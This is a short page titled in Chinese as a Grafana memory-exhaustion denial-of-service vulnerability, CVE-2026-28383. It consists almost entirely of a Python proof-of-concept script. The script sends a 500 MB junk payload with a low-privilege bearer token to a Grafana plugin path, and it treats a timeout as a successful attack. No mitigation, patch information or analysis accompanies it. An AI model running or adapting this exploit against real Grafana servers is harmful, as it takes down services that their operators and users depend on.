CVE-2026-28383 Grafana内存耗尽拒绝服务漏洞

import requests import sys # CVE-2026-28383 PoC: Grafana Memory Exhaustion # This script sends a large payload to the plugin resources endpoint to trigger OOM. TARGET_URL = "http://localhost:3000/public/plugins/alertlist/" # Example endpoint AUTH_TOKEN = "YOUR_LOW_PRIVILEGE_API_TOKEN" # Requires valid authentication # Generate a large payload (e.g., 500MB) to consume memory # Adjust size based on target server memory payload_size = 500 * 1024 * 1024 print(f"[*] Generating payload of size: {payload_size / (1024*1024)} MB") malicious_data = "A" * payload_size headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } try: print(f"[*] Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=malicious_data, headers=headers, timeout=30) print(f"[+] Request completed with status code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out. Server might be unresponsive (DoS successful).") except Exception as e: print(f"[!] An error occurred: {e}")